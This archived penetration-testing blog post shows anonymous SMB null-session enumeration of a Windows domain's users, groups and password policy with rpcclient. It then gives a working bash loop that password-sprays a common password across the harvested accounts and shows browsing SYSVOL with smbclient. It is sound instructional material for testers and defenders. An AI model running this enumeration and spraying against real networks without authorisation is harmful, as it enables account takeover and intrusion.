Password Spraying & Other Fun with RPCCLIENT

By BHIS

Published: 2015-10-30 · Archived: 2026-04-05 21:51:50 UTC

Joff Thyer //

ADVISORY: The techniques and tools referenced within this blog post may be outdated and do not apply to current situations. However, there is still potential for this blog entry to be used as an opportunity to learn and to possibly update or integrate into modern tools and techniques.

Many of us in the penetration testing community are used to scenarios whereby we land a targeted phishing campaign within a Windows enterprise environment and have that wonderful access into the world of Windows command line networking tools. You get your shell and before you know it, you are ready to run all your favorite enumeration commands. These are things like:

- C:\> NET VIEW /DOMAIN
- C:\> NET GROUP “Domain Administrators” /DOMAIN

…and so on. Not to mention that you often have all of the wealth of Metasploit post exploitation modules and the many wonders of various PowerShell tools, such as Veil and PowerShell Empire.

Imagine a world where all you have is a Linux host available on an internal network with no backdoor shell access to any existing Windows system. Imagine that world wherein you are effectively segmented away from the rest of the network and cannot even capture useful network traffic using interception techniques such as Ettercap. This was indeed the case for me recently whereby all I could do was SSH into a single Linux host I controlled.

After having not been in this situation in some time, I paused a moment before recalling the wonderful world of Samba. In particular, there are two excellent and useful programs in the Samba suite, namely “rpcclient” and its friend “smbclient.” Also, let us not forget our favorite DNS utility called “dig.”

My first task was to use available reconnaissance to make informed guesses as to what the internal domain name was likely to be. There are a few different methods to think about here, but the first thing was to play with dig to determine DNS information of use. I can try to look up the Windows global catalog record and authoritative domain server records to determine domain controller addresses. Examples as follows:

```
# dig @10.10.10.10 -t NS domain.corp
# dig @10.10.10.10 _gc.domain.corp
```

This will only give me answers if I have predicted or determined the correct “domain.corp” name.

Now, luckily for me, I had access to internal Nessus vulnerability report data and had determined that SMB NULL sessions were permitted to some hosts. I matched up the data to my dig results and determined that the NULL sessions were actually corresponding to domain controller addresses. My next task was to try and enumerate user and group information from the domain controllers with rpcclient only available to me. I quickly determined by using the “man” page that rpcclient could indeed perform an anonymous bind as follows:

```
# rpcclient -U "" -N 10.10.10.10
```

…whereby 10.10.10.10 was the chosen address of the domain controller I could anonymously bind to. After that command was run, rpcclient will give you the most excellent “rpcclient> ” prompt. At this point in time, if you can use anonymous sessions, then there are some very useful commands within the tool.

1. Enumerate Domain Users

```
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[jdoe] rid:[0x44f]
```

2. Enumerate Domain Groups

```
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
```

3. Query Group Information and Group Membership

```
rpcclient $> querygroup 0x204
    Group Name:     Domain Controllers
    Description:    All domain controllers in the domain
    Group Attribute:7
    Num Members:1

rpcclient $> querygroupmem 0x204
    rid:[0x3e8] attr:[0x7]
```

4. Query Specific User Information (including computers) by RID.

```
rpcclient $> queryuser 0x3e8
    User Name   :    WIN-LV721N9S64M$
    Full Name   :
    Home Drive  :
    Dir Drive   :
    Profile Path:
    Logon Script:
    Description :
    Workstations:
    Comment     :
    Remote Dial :
    Logon Time                :    Thu, 29 Oct 2015 19:21:28 EDT
    Logoff Time               :    Wed, 31 Dec 1969 19:00:00 EST
    Kickoff Time              :    Wed, 13 Sep 30828 22:48:05 EDT
    Password last set Time    :    Mon, 12 Oct 2015 00:12:11 EDT
    Password can change Time  :    Tue, 13 Oct 2015 00:12:11 EDT
    Password must change Time:     Wed, 13 Sep 30828 22:48:05 EDT
    unknown_2[0..31]...
    user_rid :    0x3e8
    group_rid:    0x204
    acb_info :    0x00002100
    fields_present:    0x00ffffff
    logon_divs:    168
    bad_password_count:    0x00000000
    logon_count:    0x00000834
    padding1[0..7]...
    logon_hrs[0..21]...
```

So in working with these basic commands, I was able to survey the landscape of Windows domain user and group information pretty thoroughly.

Another technique often used during a penetration test is called “password spraying.” This is a particularly effective technique, whereby given a list of domain users and knowledge of very common password use, the tester attempts to perform a login for every user in the list. The technique is very effective, given that you deliberately limit the list of passwords to try to a small number. In fact, a single password per spraying attempt is advisable for the sole reason that you really do not want to lock accounts.

Before password spraying, it is very useful to determine the Windows domain password policy using a command such as “NET ACCOUNTS /DOMAIN” in the Windows world. However, given that we don’t have a Windows shell available to us, rpcclient gives us the following options.

```
rpcclient $> getdompwinfo
min_password_length: 11
password_properties: 0x00000000

rpcclient $> getusrdompwinfo 0x44f
min_password_length: 11
    &info.password_properties: 0x4b58bb34 (1264106292)
           0: DOMAIN_PASSWORD_COMPLEX
           0: DOMAIN_PASSWORD_NO_ANON_CHANGE
           1: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
           0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
           1: DOMAIN_PASSWORD_STORE_CLEARTEXT
           1: DOMAIN_REFUSE_PASSWORD_CHANGE
```

At least we are able to determine the crucial information about the password length. After I write this, I will probably work out how to decode the password properties and match them back to the appropriate information but I have not yet done that task.

In order to perform a password spray attack, the next step is to pick a common password (such as “Autumn2015”) and work out our technique on how to spray using rpcclient. Conveniently, rpcclient allows us to specify some commands on the command line which is very handy. The follow two examples show a successful logon versus a failed logon. (Password of “bbb” is the correct logon).

```
# rpcclient -U "jdoe%bbb" -c "getusername;quit" 10.10.10.10
Account Name: jdoe, Authority Name: DOMAIN

# rpcclient -U "jdoe%aaa" -c "getusername;quit" 10.10.10.10
Cannot connect to server.  Error was
NT_STATUS_LOGON_FAILURE
```

In these examples, we specifically told rpcclient to run two commands, these being “getusername” and then “quit” to exit out of the client. Now we have all of the ingredients to perform a password spraying attack. All we need is

a bourne/bash shell loop and we are off to the races. Example of a simple shell script or command line to spray, given that the “enumdomusers” output is in the “domain-users.txt” file, would be as follows.

```
# for u in `cat domain-users.txt`; do \
    echo -n "[*] user: $u" && \
    rpcclient -U "$u%Autumn2015" \
        -c "getusername;quit" 10.10.10.10\
done
```

You know that you are successful when you see the string “Authority” appear in the output. Lack of success for each user is going to be the “NT_STATUS_LOGON_FAILURE” message.

If you begin to get the “ACCOUNT_LOCKED” failure, you should immediately stop your spray because you have likely sprayed too many times in a short period of time.

Assuming you have gained access to a credential, one of the additional nice things you can do is explore the SYSVOL using the smbclient program. The syntax is as follows.

```
$ smbclient -U "jdoe%bbb" \\\\domain.corp\\SYSVOL
Domain=[HOME] OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1]
Server=[Windows Server 2008 R2 Standard 6.1]
smb: \> ls
  .                                   D        0  Fri Dec 12 09:46:28
2014
  ..                                  D        0  Fri Dec 12 09:46:28
2014
  domain.corp                         D        0  Fri Dec 12 09:46:28 2014

        61337 blocks of size 1048576. 38567 blocks available
```

I highly recommend getting familiar with the UNIX Samba suite and in particular these tools. They quite literally saved my bacon over the past week, and you could well be in the same boat needing these fun tools in your future also.

Source: http://www.blackhillsinfosec.com/?p=4645